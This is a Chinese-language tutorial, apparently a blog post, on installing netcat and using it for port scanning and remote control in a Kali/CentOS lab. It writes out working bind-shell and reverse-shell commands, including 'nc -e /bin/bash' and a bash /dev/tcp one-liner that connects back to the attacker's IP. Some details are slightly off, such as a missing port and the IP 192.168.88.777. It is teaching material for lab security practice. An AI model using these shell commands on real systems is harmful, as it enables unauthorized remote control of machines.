nc部署

142 阅读4分钟

安装

1. 进入指定目录 /usr/local
   cd /usr/local
2. 下载netcat
   wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz --no-check-certificate
3. 解压
   tar -zxvf netcat-0.7.1.tar.gz
4. 修改netcat-0.7.1为netcat
   mv netcat-0.7.1 netcat
5. 进入 netcat
   cd /netcat
6. 安装C语言环境
   yum install -y gcc gcc-c++ make
7. 执行安装脚本
   6.1 ./configure
   6.2 make 
   6.3 make install
8. 配置环境变量
   vim /etc/profile
   写入以下代码 
   export NETCAT_HOME=/usr/local/netcat
   export PATH=$PATH:$NETCAT_HOME/bin 
9. 刷新环境变量
   source /etc/profile
10. 测试nc命令

image.png

image.png

nc常用选项

-g <网关> # 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> # 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> # 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> # 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> # 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> # 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。

nc端口扫描

nc -v -n -z -w2 192.168.88.66 3306 tcp指定端口扫描
nc -v -n -z -w2 192.168.88.66 100-800  tcp范围端口扫描

nc -u -n -z -w2 192.168.88.66 100-800  udp端口扫描

nc远控

实验环境

1. 攻击主机 kali 192.168.88.222
2. 靶机1 centos7  192.168.88.77
3. 靶机2 centos7 192.168.88.66

注意
1. 防火墙情况 
2. 以上靶机需要能联通

正向控制

正向控制是指被控端主动设置监听端口及bash环境,控制端主动连接并取得shell,通俗点说就是靶机自己绑定某个端口,等攻击机连接后将收到的数据给bash,执行结果再丢给攻击机。靶机主动让攻击主机控制。

注意 : 被控制端必须关闭防火墙,不然无法实现

靶机主动开启被控制权限 192.168.88.777
nc -lvnp 靶机开启的端口 -e 提供shell环境
nc -lvnp 8888 -e /bin/bash

靶机需要关闭防火墙

Kali攻击主机连接靶机
nc IP地址 端口
nc 192.168.88.77 8888

反向控制

反向控制就是控制端设置监听端口,被控端主动连接控制端的ip及端口,并提供bash环境通俗点说就是靶机带着shell来连攻击机

好处显而易见就是不用担心防火墙的问题了,当然也不是没有缺点;缺点就是攻击机的IP必须能支持靶机的主动寻址,换句话来说就是攻击机需要有公网IP地址;举个例子如攻击机是内网ip或经过了NAT,靶机是公网IP,即使取得了命令执行权限靶机也无法将shell弹过来,这是网络环境的问题。

注意 : 控制端必须关闭防火墙,不然无法实现

Kali开启端口
nc -lvnp 靶机开启的端口 
nc -lvnp 7777

靶机连接Kali 并提供 shell环境
nc IP地址 端口 -e 提供shell环境
nc 192.168.88.222 -e /bin/bash

反弹shell

反弹shell解决了靶机没有安装nc,跟反向代理的思想一致

反弹Shell是一种网络攻击技术,它允许攻击者在远程系统上执行命令,即使该系统位于防火墙后或具有严格的出口过滤。它的工作原理是,攻击者首先在自己的系统上设置一个监听器,然后迫使目标系统连接到该监听器,并在连接建立后执行命令。

Kali开启端口
nc -lvnp 靶机开启的端口 
nc -lvnp 9999

靶机反弹shell 需要提供shell环境
/bin/bash -i >& /dev/tcp/IP地址/端口 0>&1
/bin/bash -i >& /dev/tcp/192.168.88.222/9999 0>&1

反弹shell原理
/bin/bash -i  提供shell环境
>& 标准错误输出重定向到标准输出
/dev/tcp/IP地址/端口 调用socket 建立tcp连接 目的是反弹IP和端口
0>&1 标准输入重定向到标准输出 实现与反弹的shell交互